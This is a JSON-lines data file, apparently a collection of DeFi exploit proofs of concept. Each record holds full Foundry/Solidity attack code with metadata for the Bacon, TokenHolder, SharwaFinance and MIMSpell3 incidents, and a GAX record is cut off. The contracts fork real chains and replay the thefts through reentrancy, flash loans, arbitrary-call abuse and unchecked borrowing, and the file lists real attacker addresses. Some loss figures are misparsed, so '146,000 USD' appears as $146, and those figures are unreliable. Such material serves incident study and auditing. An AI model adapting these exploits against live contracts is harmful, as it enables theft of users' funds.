"has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!\npragma solidity >=0.7.0 <0.9.0;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IUniswapV2Pair pair = IUniswapV2Pair(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc);\n IERC20 usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IBacon bacon = IBacon(0xb8919522331C59f5C16bDfAA6A121a6E03A91F62);\n uint256 count = 0;\n\n constructor() {\n cheats.createSelectFork(\"mainnet\", 14_326_931); // fork mainnet at block 14326931\n\n ERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24).setInterfaceImplementer(\n address(this), bytes32(0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b), address(this)\n );\n }\n\n function test() public {\n emit log_named_uint(\"Before exploit, USDC balance of attacker:\", usdc.balanceOf(msg.sender));\n pair.swap(6_360_000_000_000, 0, address(this), new bytes(1));\n\n emit log_named_uint(\"After exploit, USDC balance of attacker:\", usdc.balanceOf(msg.sender));\n }\n\n function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {\n usdc.approve(address(bacon), 10_000_000_000_000_000_000);\n bacon.lend(2_120_000_000_000);\n bacon.redeem(bacon.balanceOf(address(this)));\n usdc.transfer(msg.sender, ((amount0 / 997) * 1000) + 10 ** usdc.decimals());\n usdc.transfer(tx.origin, usdc.balanceOf(address(this)));\n }\n\n function tokensReceived(\n address operator,\n address from,\n address to,\n uint256 amount,\n bytes calldata data,\n bytes calldata operatorData\n ) public {\n count += 1;\n if (count <= 2) {\n bacon.lend(2_120_000_000_000);\n }\n }\n}\n", "type": "exploit_poc", "protocol": "Bacon", "date": "2022-03", "file_name": "Bacon_exp.sol", "attack_vector": null, "content_hash": "2fcc0cf7a97058b4", "collected_at": "2026-01-07T10:59:16.539439", "_source": "postmortems", "chain": "unknown", "block_number": 14326931, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function test() public {\n emit log_named_uint(\"Before exploit, USDC balance of attacker:\", usdc.balanceOf(msg.sender));\n pair.swap(6_360_000_000_000, 0, address(this), new bytes(1));\n\n emit log_named_uint(\"After exploit, USDC balance of attacker:\", usdc.balanceOf(msg.sender));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.98, "quality_estimate": "low", "title": "Bacon Exploit (2022-03)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\n\n// @KeyInfo - Total Lost : 20 WBNB\n// Attacker : https://bscscan.com/address/0x3fee6d8aaea76d06cf1ebeaf6b186af215f14088\n// Attack Contract : https://bscscan.com/address/0xe82Fc275B0e3573115eaDCa465f85c4F96A6c631\n// Vulnerable Contract : https://bscscan.com/address/0x8c7f34436C0037742AeCf047e06fD4B27Ad01117\n// Attack Tx : https://bscscan.com/tx/0xc291d70f281dbb6976820fbc4dbb3cfcf56be7bf360f2e823f339af4161f64c6\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x8c7f34436C0037742AeCf047e06fD4B27Ad01117#code\n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : N/A\n// Hacking God : N/A\npragma solidity ^0.8.0;\n\ncontract ExploitTemplate is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 63856735 - 1;\n BorrowerOperationsV6 borrowerOper = BorrowerOperationsV6(0x616B36265759517AF14300Ba1dD20762241a3828);\n address WBNB = address(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n fundingToken = WBNB;\n }\n\n function testExploit() public balanceLog {\n uint256 loadId = 0;\n bytes memory sellingCode = abi.encodeWithSignature(\"privilegedLoan(address,uint256)\", WBNB, 20 ether);\n address tokenHolder = address(this);\n address inchRouter = address(0x2EeD3DC9c5134C056825b12388Ee9Be04E522173);\n address integratorFeeAddress = address(this);\n address whitelistedDex = address(this);\n borrowerOper.sell(loadId, sellingCode, tokenHolder, inchRouter, integratorFeeAddress, whitelistedDex);\n }\n\n function loans(uint256 arg0) public returns(Loan memory) {\n Collateral memory c = Collateral(WBNB, 0, 0, false, 0, 0, 0);\n Loan memory l = Loan(0, 0, c, 0, 0, address(this), 0);\n return l;\n }\n\n function repayLoan(uint256 loadId, bool payInStablecoin) public {}\n\n function privilegedLoan(address flashLoanToken, uint256 amount) public {}\n}\n\nstruct Loan {\n uint256 id;\n uint256 amount;\n Collateral collateral;\n uint256 collateralAmount;\n uint256 timestamp;\n address borrower;\n uint256 userPaid;\n}\n\n\nstruct Collateral {\n address collateralAddress;\n uint256 maxLendPerToken;\n uint256 interestRate;\n bool active;\n uint256 minAmount;\n uint256 maxExposure;\n uint256 currentExposure;\n}\n\ninterface BorrowerOperationsV6 {\n function sell(uint256 loanId, bytes calldata sellingCode, address tokenHolder, address inchRouter, address integratorFeeAddress, address whitelistedDex) external payable;\n}", "type": "exploit_poc", "protocol": "TokenHolder", "date": "2025-10", "file_name": "TokenHolder_exp.sol", "attack_vector": "flash_loan", "content_hash": "1b32369ba4da9c6e", "collected_at": "2026-01-07T10:59:16.539480", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "20 WBNB", "total_lost_usd": 20.0, "attacker_address": "https://bscscan.com/address/0x3fee6d8aaea76d06cf1ebeaf6b186af215f14088", "attack_contract": "https://bscscan.com/address/0xe82Fc275B0e3573115eaDCa465f85c4F96A6c631", "vulnerable_contract": "https://bscscan.com/address/0x8c7f34436C0037742AeCf047e06fD4B27Ad01117", "attack_tx": "https://bscscan.com/tx/0xc291d70f281dbb6976820fbc4dbb3cfcf56be7bf360f2e823f339af4161f64c6", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "20 WBNB", "category": "flash-loan", "exploit_code": "function testExploit() public balanceLog {\n uint256 loadId = 0;\n bytes memory sellingCode = abi.encodeWithSignature(\"privilegedLoan(address,uint256)\", WBNB, 20 ether);\n address tokenHolder = address(this);\n address inchRouter = address(0x2EeD3DC9c5134C056825b12388Ee9Be04E522173);\n address integratorFeeAddress = address(this);\n address whitelistedDex = address(this);\n borrowerOper.sell(loadId, sellingCode, tokenHolder, inchRouter, integratorFeeAddress, whitelistedDex);\n }", "has_exploit_code": true, "keyinfo_total_lost": "20 WBNB", "keyinfo_attacker": "https://bscscan.com/address/0x3fee6d8aaea76d06cf1ebeaf6b186af215f14088", "keyinfo_attack_contract": "https://bscscan.com/address/0xe82Fc275B0e3573115eaDCa465f85c4F96A6c631", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x8c7f34436C0037742AeCf047e06fD4B27Ad01117", "keyinfo_attack_tx": "https://bscscan.com/tx/0xc291d70f281dbb6976820fbc4dbb3cfcf56be7bf360f2e823f339af4161f64c6", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$20", "content_richness_score": 8.31, "quality_estimate": "high", "title": "TokenHolder Exploit (2025-10)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 146,000 USD\n// Attacker : https://arbiscan.io/address/0xd356c82e0c85e1568641d084dbdaf76b8df96c08\n// Attack Contract : https://arbiscan.io/address/0xd9ff21caeeea4329133c98a892db16b42f9baa25\n// Vulnerable Contract : https://arbiscan.io/address/0xd3fde5af30da1f394d6e0d361b552648d0dff797\n// Attack Tx :\n// https://app.blocksec.com/explorer/tx/arbitrum/0xd64729c528e6689cb18b0c90345ab0c9ed18fea44247c89af2f1374643fc89c2?line=-1\n// https://app.blocksec.com/explorer/tx/arbitrum/0x9f8b4841f805ec50cc6632068f759216d85633fbbe34afde86b97bbc41c23ead\n\n// @Info\n// Vulnerable Contract Code : https://arbiscan.io/address/0xd3fde5af30da1f394d6e0d361b552648d0dff797#code\n\n// @Analysis\n// https://x.com/phalcon_xyz/status/1980219745480946087?s=46\n// https://blog.verichains.io/p/vulnerability-analysis-deconstructing?utm_source=chatgpt.com\n\ninterface IMarginAccountManager {\n function createMarginAccount() external returns (uint256 tokenId);\n}\n\ninterface IMorpho {\n function flashLoan(\n address token,\n uint256 assets,\n bytes calldata data\n ) external;\n}\n\ninterface IMorphoFlashLoanReceiver {\n function onMorphoFlashLoan(\n uint256 assets,\n bytes calldata data\n ) external;\n}\n\ninterface IERC721Receiver {\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n\ninterface ISupplyTokenPool {\n function provide(uint256 amount) external;\n function withdraw(uint256 amount) external;\n function balanceOf(address user) external view returns (uint256);\n}\n\ninterface IMarginTradingRouter {\n function provideERC20(uint256 id, address token, uint256 amount) external;\n}\n\ninterface TradeRouter {\n function increaseLongPosition(uint256 id, address token, uint256 amount) external;\n function decreaseLongPosition(uint256 id, address token, uint256 amount) external;\n}\n\ninterface IUniV3Router {\n struct ExactInputSingleParams {\n address tokenIn;\n address tokenOut;\n uint24 fee;\n address recipient;\n uint256 deadline;\n uint256 amountIn;\n uint256 amountOutMinimum;\n uint160 sqrtPriceLimitX96;\n }\n\n function exactInputSingle(\n ExactInputSingleParams calldata params\n ) external returns (uint256 amountOut);\n}\n\ncontract ContractTest is Test {\n address constant USDC = 0xaf88d065e77c8cC2239327C5EDb3A432268e5831; \n address constant WBTC = 0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f;\n address constant MORPHO = 0x6c247b1F6182318877311737BaC0844bAa518F5e;\n address constant MARGIN_ACCOUNT_MANAGER = 0x7E859C254F431e566DaaB65f49b2449Aa826E395;\n address constant SF_LP_USDC = 0x02434cD23972C82FbAbf610D157b41bFB45A45a3;\n address constant MARGIN_TRADING_ROUTER = 0x35CB6a3b4963DaE3CB7465c954DDFBE0cd13eb2b;\n address constant TRADE_ROUTER = 0xd3fdE5AF30DA1F394d6e0D361B552648D0dff797;\n address constant V3_ROUTER = 0xE592427A0AEce92De3Edee1F18E0157C05861564;\n \n uint256 constant BLOCK_TX1 = 391402008;\n uint256 constant BLOCK_TX2 = 391402389;\n\n address attacker = address(this);\n AttackContract attackcontract;\n\n function setUp() public {\n vm.createSelectFork(\"arbitrum\", BLOCK_TX1 - 1);\n vm.label(attacker, \"Sharwa Finance Exploiter\");\n vm.label(address(attackcontract), \"Receiver\");\n vm.label(USDC, \"USDC\");\n vm.label(WBTC, \"WBTC\");\n vm.label(MORPHO, \"Morpho\");\n vm.label(MARGIN_ACCOUNT_MANAGER, \"MarginAccountManager\");\n vm.label(TRADE_ROUTER, \"TradeRouter\");\n vm.label(SF_LP_USDC, \"SF-LP-USDC\");\n vm.label(MARGIN_TRADING_ROUTER, \"MarginTradingRouter\");\n vm.label(V3_ROUTER, \"Uniswap V3: Router\");\n\n attackcontract = new AttackContract(\n MORPHO,\n USDC,\n WBTC,\n MARGIN_ACCOUNT_MANAGER,\n SF_LP_USDC,\n MARGIN_TRADING_ROUTER,\n TRADE_ROUTER,\n V3_ROUTER,\n attacker\n );\n deal(USDC, attacker, 2_201_000_000); // fund attacker with initial USDC\n IERC20(USDC).approve(address(attackcontract), 2_201_000_000);\n }\n\n function test_exploit_sequence() public {\n emit log_named_uint(\"WBTC balance before exploit:\", IERC20(WBTC).balanceOf(address(attackcontract)));\n attackcontract.attackTx1();\n vm.roll(BLOCK_TX2 - 1);\n attackcontract.attackTx2();\n\n emit log_named_uint(\"WBTC balance after exploit:\", IERC20(WBTC).balanceOf(address(attackcontract)));\n }\n}\n\ncontract AttackContract is IMorphoFlashLoanReceiver, IERC721Receiver {\n uint256 constant ATTACKER_FUND = 2_201_000_000;\n uint256 constant FLASHLOAN_USDC = 4_000_000_0000;\n uint256 constant FLASHLOAN_WBTC = 3_700_000_000;\n\n IMorpho public morpho;\n IERC20 public USDC;\n IERC20 public WBTC;\n IMarginAccountManager public margin;\n ISupplyTokenPool public pool;\n IMarginTradingRouter public marginTradeRouter;\n TradeRouter public tradeRouter;\n IUniV3Router public v3Router;\n\n uint256 public marginAccountID;\n address public attackerEOA;\n\n constructor(\n address _morpho,\n address _usdc,\n address _wbtc,\n address _margin,\n address _pool,\n address _marginTradeRouter,\n address _tradeRouter,\n address _v3Router,\n address _attackerEOA\n ) {\n morpho = IMorpho(_morpho);\n USDC = IERC20(_usdc);\n WBTC = IERC20(_wbtc);\n margin = IMarginAccountManager(_margin);\n pool = ISupplyTokenPool(_pool);\n marginTradeRouter = IMarginTradingRouter(_marginTradeRouter);\n tradeRouter = TradeRouter(_tradeRouter);\n v3Router = IUniV3Router(_v3Router);\n attackerEOA = _attackerEOA;\n }\n\n function attackTx1() external {\n USDC.transferFrom(attackerEOA, address(this), ATTACKER_FUND);\n bytes memory data = abi.encode(uint8(1));\n morpho.flashLoan(address(USDC), FLASHLOAN_USDC, data);\n }\n\n function attackTx2() external {\n bytes memory data = abi.encode(uint8(2));\n morpho.flashLoan(address(WBTC), FLASHLOAN_WBTC, data);\n }\n\n function onMorphoFlashLoan(uint256 assets, bytes calldata data) external {\n require(msg.sender == address(morpho), \"only Morpho\");\n\n uint8 tag = abi.decode(data, (uint8));\n if (tag == 1) {\n _handleTx1(assets);\n } else if (tag == 2) {\n _handleTx2(assets);\n } else {\n revert(\"bad tag\");\n }\n }\n\n function _handleTx1(uint256 assets) internal {\n marginAccountID = margin.createMarginAccount();\n\n USDC.approve(address(pool), FLASHLOAN_USDC);\n pool.provide(FLASHLOAN_USDC);\n\n USDC.approve(address(marginTradeRouter), 2_200_000_000);\n marginTradeRouter.provideERC20(marginAccountID, address(USDC), 2_200_000_000); // 2.2M\n\n tradeRouter.increaseLongPosition(marginAccountID, address(WBTC), 36_200_000);\n\n pool.withdraw(pool.balanceOf(address(this)));\n\n USDC.approve(address(morpho), type(uint256).max);\n }\n \n function _handleTx2(uint256 assets) internal {\n WBTC.approve(address(v3Router), FLASHLOAN_WBTC);\n USDC.approve(address(v3Router), type(uint256).max);\n\n v3Router.exactInputSingle(\n IUniV3Router.ExactInputSingleParams({\n tokenIn: address(WBTC),\n tokenOut: address(USDC),\n fee: 500,\n recipient: address(this),\n deadline: block.timestamp + 100,\n amountIn: FLASHLOAN_WBTC,\n amountOutMinimum: 0,\n sqrtPriceLimitX96: 0\n })\n );\n\n tradeRouter.decreaseLongPosition(marginAccountID, address(WBTC), 36_199_999);\n \n v3Router.exactInputSingle(\n IUniV3Router.ExactInputSingleParams({\n tokenIn: address(USDC),\n tokenOut: address(WBTC),\n fee: 500,\n recipient: address(this),\n deadline: block.timestamp + 100,\n amountIn: USDC.balanceOf(address(this)),\n amountOutMinimum: 0,\n sqrtPriceLimitX96: 0\n })\n );\n\n WBTC.approve(address(morpho), type(uint256).max);\n }\n\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external override returns (bytes4) {\n return IERC721Receiver.onERC721Received.selector;\n }\n}\n", "type": "exploit_poc", "protocol": "SharwaFinance", "date": "2025-10", "file_name": "SharwaFinance_exp.sol", "attack_vector": "flash_loan", "content_hash": "3938541aeb219684", "collected_at": "2026-01-07T10:59:16.539533", "_source": "postmortems", "chain": "arbitrum", "block_number": null, "total_lost_raw": "146,000 USD", "total_lost_usd": 146.0, "attacker_address": "https://arbiscan.io/address/0xd356c82e0c85e1568641d084dbdaf76b8df96c08", "attack_contract": "https://arbiscan.io/address/0xd9ff21caeeea4329133c98a892db16b42f9baa25", "vulnerable_contract": "https://arbiscan.io/address/0xd3fde5af30da1f394d6e0d361b552648d0dff797", "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "146,000 USD", "category": "flash-loan", "exploit_code": "function test_exploit_sequence() public {\n emit log_named_uint(\"WBTC balance before exploit:\", IERC20(WBTC).balanceOf(address(attackcontract)));\n attackcontract.attackTx1();\n vm.roll(BLOCK_TX2 - 1);\n attackcontract.attackTx2();\n\n emit log_named_uint(\"WBTC balance after exploit:\", IERC20(WBTC).balanceOf(address(attackcontract)));\n }\n}\n\ncontract AttackContract is IMorphoFlashLoanReceiver, IERC721Receiver {\n uint256 constant ATTACKER_FUND = 2_201_000_000;\n uint256 constant FLASHLOAN_USDC = 4_000_000_0000;\n uint256 constant FLASHLOAN_WBTC = 3_700_000_000;\n\n IMorpho public morpho;\n IERC20 public USDC;\n IERC20 public WBTC;\n IMarginAccountManager public margin;\n ISupplyTokenPool public pool;\n IMarginTradingRouter public marginTradeRouter;\n TradeRouter public tradeRouter;\n IUniV3Router public v3Router;\n\n uint256 public marginAccountID;\n address public attackerEOA;\n\n constructor(\n address _morpho,\n address _usdc,\n address _wbtc,\n address _margin,\n address _pool,\n address _marginTradeRouter,\n address _tradeRouter,\n address _v3Router,\n address _attackerEOA\n ) {\n morpho = IMorpho(_morpho);\n USDC = IERC20(_usdc);\n WBTC = IERC20(_wbtc);\n margin = IMarginAccountManager(_margin);\n pool = ISupplyTokenPool(_pool);\n marginTradeRouter = IMarginTradingRouter(_marginTradeRouter);\n tradeRouter = TradeRouter(_tradeRouter);\n v3Router = IUniV3Router(_v3Router);\n attackerEOA = _attackerEOA;\n }", "has_exploit_code": true, "keyinfo_total_lost": "146,000 USD", "keyinfo_attacker": "https://arbiscan.io/address/0xd356c82e0c85e1568641d084dbdaf76b8df96c08", "keyinfo_attack_contract": "https://arbiscan.io/address/0xd9ff21caeeea4329133c98a892db16b42f9baa25", "keyinfo_vulnerable_contract": "https://arbiscan.io/address/0xd3fde5af30da1f394d6e0d361b552648d0dff797", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$146", "content_richness_score": 9, "quality_estimate": "high", "title": "SharwaFinance Exploit (2025-10)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\n// @KeyInfo - Total Lost : 1.7M USD\n// Attacker : https://etherscan.io/address/0x1aaade3e9062d124b7deb0ed6ddc7055efa7354d\n// Attack Contract : https://etherscan.io/address/0xb8e0a4758df2954063ca4ba3d094f2d6eda9b993\n// Vulnerable Contract : https://etherscan.io/address/0x46f54d434063e5f1a2b2cc6d9aaa657b1b9ff82c\n// Attack Tx : https://etherscan.io/tx/0x842aae91c89a9e5043e64af34f53dc66daf0f033ad8afbf35ef0c93f99a9e5e6\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x46f54d434063e5f1a2b2cc6d9aaa657b1b9ff82c#code\n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : N/A\n// Hacking God : N/A\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// Interfaces\ninterface IBentoBox {\n function balanceOf(address token, address user) external view returns (uint256);\n function toAmount(address token, uint256 share, bool roundUp) external view returns (uint256);\n function withdraw(\n address token,\n address from,\n address to,\n uint256 amount,\n uint256 share\n ) external returns (uint256 amountOut, uint256 shareOut);\n}\n\ninterface ICauldron {\n function cook(\n uint8[] calldata actions,\n uint256[] calldata values,\n bytes[] calldata datas\n ) external payable returns (uint256 value1, uint256 value2);\n function borrowLimit() external view returns (uint128 total, uint128 borrowPartPerAddress);\n}\n\ninterface ICurveRouter {\n function exchange(\n address[11] calldata route,\n uint256[5][5] calldata swap_params,\n uint256 amount,\n uint256 expected,\n address[5] calldata pools,\n address receiver\n ) external returns (uint256);\n}\n\ninterface ICurve3Pool {\n function remove_liquidity(uint256 amount, uint256[3] calldata min_amounts) external returns (uint256[3] memory);\n\n function remove_liquidity_one_coin(uint256 token_amount, int128 i, uint256 min_amount) external;\n}\n\ninterface IUniswapV3Router {\n struct ExactInputParams {\n bytes path;\n address recipient;\n uint256 deadline;\n uint256 amountIn;\n uint256 amountOutMinimum;\n }\n\n function exactInput(\n ExactInputParams calldata params\n ) external payable returns (uint256 amountOut);\n}\n\ncontract MIMSpell3Exploit is BaseTestWithBalanceLog {\n // Constants\n uint256 private constant BLOCK_NUM_TO_FORK = 23_504_544;\n\n // Pool indices for 3Pool\n int128 private constant USDT_INDEX = 2;\n\n // Uniswap V3 fee tier\n uint24 private constant UNISWAP_V3_FEE_TIER = 500; // 0.05%\n\n // Cauldron action types\n uint8 private constant ACTION_REPAY = 5;\n uint8 private constant ACTION_NO_OP = 0;\n\n // Curve swap parameters\n uint256 private constant INPUT_TOKEN_INDEX = 0;\n uint256 private constant OUTPUT_TOKEN_INDEX = 1;\n uint256 private constant SWAP_TYPE = 1;\n uint256 private constant POOL_TYPE = 1;\n uint256 private constant N_COINS = 2;\n\n // Contract addresses\n address private constant BENTOBOX = 0xd96f48665a1410C0cd669A88898ecA36B9Fc2cce;\n address private constant CURVE_ROUTER = 0x45312ea0eFf7E09C83CBE249fa1d7598c4C8cd4e;\n address private constant CURVE_3POOL = 0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7;\n address private constant UNISWAP_V3_ROUTER = 0xE592427A0AEce92De3Edee1F18E0157C05861564;\n\n // Token addresses\n address private constant MIM = 0x99D8a9C45b2ecA8864373A26D1459e3Dff1e17F3;\n address private constant THREE_CRV = 0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490;\n address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;\n address private constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;\n address private constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;\n address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n // Pool addresses\n address private constant MIM_3CRV_POOL = 0x5a6A4D54456819380173272A5E8E9B9904BdF41B;\n\n // Cauldron addresses and debt amounts\n address[6] private CAULDRONS = [\n 0x46f54d434063e5F1a2b2CC6d9AAa657b1B9ff82c,\n 0x289424aDD4A1A503870EB475FD8bF1D586b134ED,\n 0xce450a23378859fB5157F4C4cCCAf48faA30865B,\n 0x40d95C4b34127CF43438a963e7C066156C5b87a3,\n 0x6bcd99D6009ac1666b58CB68fB4A50385945CDA2,\n 0xC6D3b82f9774Db8F92095b5e4352a8bB8B0dC20d\n ];\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", BLOCK_NUM_TO_FORK);\n fundingToken = WETH;\n }\n\n function testExploit() public balanceLog {\n _borrowFromAllCauldrons();\n _withdrawAllMIMFromBentoBox();\n _swapMIMTo3Crv();\n _remove3PoolLiquidityToUSDT();\n _swapUSDTToWETH();\n }\n\n function _borrowFromAllCauldrons() internal {\n uint8[] memory actions = new uint8[](2);\n actions[0] = ACTION_REPAY;\n actions[1] = ACTION_NO_OP;\n\n uint256[] memory values = new uint256[](2);\n\n for (uint256 i = 0; i < CAULDRONS.length; i++) {\n uint256 balavail = IBentoBox(BENTOBOX).balanceOf(MIM, CAULDRONS[i]);\n (uint256 borrowlimit,) = ICauldron(CAULDRONS[i]).borrowLimit();\n if (borrowlimit >= balavail) {\n _borrowFromCauldron(CAULDRONS[i], actions, values, IBentoBox(BENTOBOX).toAmount(MIM, balavail, false));\n }\n }\n }\n\n function _borrowFromCauldron(\n address cauldron,\n uint8[] memory actions,\n uint256[] memory values,\n uint256 debtAmount\n ) internal {\n bytes[] memory datas = new bytes[](2);\n datas[0] = abi.encode(debtAmount, address(this));\n datas[1] = hex\"\";\n ICauldron(cauldron).cook(actions, values, datas);\n }\n\n function _withdrawAllMIMFromBentoBox() internal {\n uint256 mimBalance = IBentoBox(BENTOBOX).balanceOf(MIM, address(this));\n IBentoBox(BENTOBOX).withdraw(MIM, address(this), address(this), 0, mimBalance);\n }\n\n function _swapMIMTo3Crv() internal {\n uint256 mimAmount = IERC20(MIM).balanceOf(address(this));\n IERC20(MIM).approve(CURVE_ROUTER, mimAmount);\n\n address[11] memory route;\n route[0] = MIM;\n route[1] = MIM_3CRV_POOL;\n route[2] = THREE_CRV;\n\n uint256[5][5] memory swapParams;\n swapParams[0][0] = INPUT_TOKEN_INDEX;\n swapParams[0][1] = OUTPUT_TOKEN_INDEX;\n swapParams[0][2] = SWAP_TYPE;\n swapParams[0][3] = POOL_TYPE;\n swapParams[0][4] = N_COINS;\n\n address[5] memory pools;\n pools[0] = MIM_3CRV_POOL;\n\n ICurveRouter(CURVE_ROUTER).exchange(route, swapParams, mimAmount, 0, pools, address(this));\n }\n\n function _remove3PoolLiquidityToUSDT() internal {\n uint256 threeCrvBalance = IERC20(THREE_CRV).balanceOf(address(this));\n IERC20(THREE_CRV).approve(CURVE_3POOL, threeCrvBalance);\n\n // Remove liquidity as USDT only (index 2 in the 3Pool: DAI=0, USDC=1, USDT=2)\n ICurve3Pool(CURVE_3POOL).remove_liquidity_one_coin(threeCrvBalance, USDT_INDEX, 0);\n }\n\n function _swapUSDTToWETH() internal {\n uint256 usdtBalance = IERC20(USDT).balanceOf(address(this));\n if (usdtBalance > 0) {\n SafeTransferLib.safeApprove(IERC20(USDT), UNISWAP_V3_ROUTER, usdtBalance);\n\n IUniswapV3Router.ExactInputParams memory params = IUniswapV3Router.ExactInputParams({\n path: abi.encodePacked(USDT, UNISWAP_V3_FEE_TIER, WETH),\n recipient: address(this),\n deadline: block.timestamp,\n amountIn: usdtBalance,\n amountOutMinimum: 0\n });\n\n IUniswapV3Router(UNISWAP_V3_ROUTER).exactInput(params);\n }\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "MIMSpell3", "date": "2025-10", "file_name": "MIMSpell3_exp.sol", "attack_vector": null, "content_hash": "e9e53884eb1671c4", "collected_at": "2026-01-07T10:59:16.539619", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "1.7M USD", "total_lost_usd": 1700000.0, "attacker_address": "https://etherscan.io/address/0x1aaade3e9062d124b7deb0ed6ddc7055efa7354d", "attack_contract": "https://etherscan.io/address/0xb8e0a4758df2954063ca4ba3d094f2d6eda9b993", "vulnerable_contract": "https://etherscan.io/address/0x46f54d434063e5f1a2b2cc6d9aaa657b1b9ff82c", "attack_tx": "https://etherscan.io/tx/0x842aae91c89a9e5043e64af34f53dc66daf0f033ad8afbf35ef0c93f99a9e5e6", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "1.7M USD", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n _borrowFromAllCauldrons();\n _withdrawAllMIMFromBentoBox();\n _swapMIMTo3Crv();\n _remove3PoolLiquidityToUSDT();\n _swapUSDTToWETH();\n }", "has_exploit_code": true, "keyinfo_total_lost": "1.7M USD", "keyinfo_attacker": "https://etherscan.io/address/0x1aaade3e9062d124b7deb0ed6ddc7055efa7354d", "keyinfo_attack_contract": "https://etherscan.io/address/0xb8e0a4758df2954063ca4ba3d094f2d6eda9b993", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x46f54d434063e5f1a2b2cc6d9aaa657b1b9ff82c", "keyinfo_attack_tx": "https://etherscan.io/tx/0x842aae91c89a9e5043e64af34f53dc66daf0f033ad8afbf35ef0c93f99a9e5e6", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$1.70M", "content_richness_score": 9, "quality_estimate": "high", "title": "MIMSpell3 Exploit (2025-10)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\n// @KeyInfo - Total Lost : ~50k $BUSD\n// Attacker : https://bscscan.com/address/0x8ccf2860f38fc2f4a56dec897c8c976503fcb123\n// Attack Contract : https://bscscan.com/address/0x64b9d294cd918204d1ee6bce283edb49302ddf7e\n// Vulnerable Contract : https://bscscan.com/address/0xdb4b73df2f6de4afcd3a883efe8b7a4b0763822b\n// Attack Tx : https://bscscan.com/tx/0x368f842e79a10bb163d98353711be58431a7cd06098d6f4b6cbbcd4c77b53108\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 GAX = IERC20(0xD5d63074A39Bc0202E828B044C02c6F4d2f75c76);\n address VulnContract_addr = 0xdb4b73Df2F6dE4AFCd3A883efE8b7a4B0763822b;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 40_375_925 - 1);\n vm.label(address(BUSD), \"BUSD\");\n vm.label(address(GAX), \"GAX\");\n vm.label(address(VulnContract_addr), \"VulnContract\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"Attacker BUSD balance before attack\", BUSD.balanceOf(address(this)), 18);\n bytes memory data = abi.encode(0, 